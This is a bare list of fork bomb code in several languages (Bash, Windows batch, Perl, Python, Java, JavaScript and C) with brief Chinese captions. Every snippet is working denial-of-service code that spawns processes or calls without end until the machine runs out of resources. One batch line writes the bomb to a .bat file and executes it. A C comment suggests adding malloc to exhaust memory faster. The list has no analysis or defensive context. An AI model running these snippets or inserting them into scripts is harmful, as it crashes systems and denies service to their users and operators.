Bash
:(){ :|:& };:
#!/bin/bash
./$0|./$0&
Windows
:TOP
start "" %0
goto TOP
更简短的
%0|%0
写入bat
echo %0^|%0 > forkbomb.bat
forkbomb.bat
Perl
perl -e "fork while fork" &
Python
import os
while 1:
os.fork()
Java
public class ForkBomb
{
public static void main(String[] args)
{
while(true)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
}
}
}
Javascript
function bomb() {
setTimeout(function() {
for (;;) {
bomb();
}
}, 0);
}
C
#include <unistd.h>
int main(void)
{
while(1) {
fork(); /* malloc can be used in order to increase the data usage */
}
}